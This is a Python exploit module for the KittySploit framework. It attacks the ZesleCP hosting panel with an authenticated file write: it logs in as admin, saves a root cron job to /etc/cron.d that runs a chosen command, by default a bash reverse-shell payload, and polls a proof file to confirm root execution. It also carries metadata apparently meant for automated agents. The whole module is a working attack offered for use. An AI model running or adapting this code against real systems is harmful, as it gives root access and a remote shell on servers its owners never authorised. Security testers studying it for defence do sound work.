ZesleCP admin file write cron root RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ZesleCP admin arbitrary file write to /etc/cron.d root RCE."""

from __future__ import annotations

import json
import re
import time

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "ZesleCP admin file write cron root RCE",
        "description": (
            "Admin POST /file-manager/save-file writes /etc/cron.d/* as root; "
            "crond executes attacker command."
        ),
        "author": ["KittySploit Team"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [],
        "tags": ["zeslecp", "rce", "authenticated", "cron"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["rce", "shell"],
            "chain": {
                "suggested_followups": [
                    "scanner/http/zeslecp_admin_file_write_cron_root_rce_detect",
                ],
            },
        },
    }

    port = OptPort(2087, "ZesleCP panel port (HTTPS)", required=True)
    ssl = OptBool(True, "Use HTTPS", required=False)
    username = OptString("root", "Admin username", required=True)
    password = OptString("", "Admin password", required=True)
    cron_file = OptString("/etc/cron.d/zesle-rce-poc", "Cron drop path", required=False)
    proof_file = OptString("/tmp/zesle_rce_proof.txt", "Proof file written by cron", required=False)
    wait_seconds = OptInteger(65, "Max wait for crond tick", required=False)

    def _session_cookie(self) -> str | None:
        resp = self.http_request(
            "POST",
            "/login",
            data=json.dumps(
                {
                    "username": str(self.username or "root"),
                    "password": str(self.password or ""),
                    "remember": False,
                }
            ),
            headers={"Content-Type": "application/json", "Accept": "application/json"},
            session=True,
        )
        if not resp:
            return None
        raw = resp.headers.get("Set-Cookie", "") or ""
        m = re.search(r"(zeslecp_session=[^;]+)", raw)
        return m.group(1) if m else None

    def execute(self, cmd: str) -> str:
        if not self._session_cookie():
            return "login failed — no zeslecp_session cookie"
        marker = "ZESLE_VULN001_" + str(int(time.time()))
        cron_path = str(self.cron_file or "/etc/cron.d/zesle-rce-poc")
        proof_path = str(self.proof_file or "/tmp/zesle_rce_proof.txt")
        cron_data = (
            "* * * * * root sh -c '{ "
            + cmd
            + "; } > "
            + proof_path
            + " 2>&1; echo "
            + marker
            + " >> "
            + proof_path
            + "'\n"
        )
        save = self.http_request(
            "POST",
            "/file-manager/save-file",
            data=json.dumps({"file_path": cron_path, "data": cron_data}),
            headers={"Content-Type": "application/json", "Accept": "application/json"},
            session=True,
        )
        body = (save.text or "") if save else ""
        if '"success":true' not in body.replace(" ", "") and '"success": true' not in body:
            return f"save-file failed: {body[:300]}"
        deadline = int(self.wait_seconds or 65)
        steps = max(1, deadline // 5)
        for _ in range(steps):
            time.sleep(5)
            poll = self.http_request(
                "POST",
                "/file-manager/file-content",
                data=json.dumps({"file_path": proof_path}),
                headers={"Content-Type": "application/json"},
                session=True,
            )
            try:
                content = json.loads(poll.text or "{}").get("content", "")
            except json.JSONDecodeError:
                content = ""
            if marker in content:
                return content[:8000]
        return f"cron written to {cron_path}; proof not readable yet (wait for crond)"

    def check(self):
        resp = self.http_request("GET", "/login")
        if resp and int(resp.status_code or 0) < 500:
            return {"vulnerable": True, "reason": "ZesleCP login reachable", "confidence": "low"}
        return {"vulnerable": False, "reason": "Panel not reachable", "confidence": "low"}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False
        if not str(self.password or "").strip():
            print_error("Set admin password")
            return False
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Target not ready"))
            self.not_vulnerable()
            return False
        print_status("Writing cron job via save-file")
        out = self.execute(shell)
        print_info(out[:4000])
        if "ZESLE_VULN001" in out or "uid=0" in out:
            print_success("Root cron execution confirmed")
            self.vulnerable()
            return True
        print_warning("Cron queued — async; use reverse/blind or poll proof_file via API")
        self.vulnerable()
        return True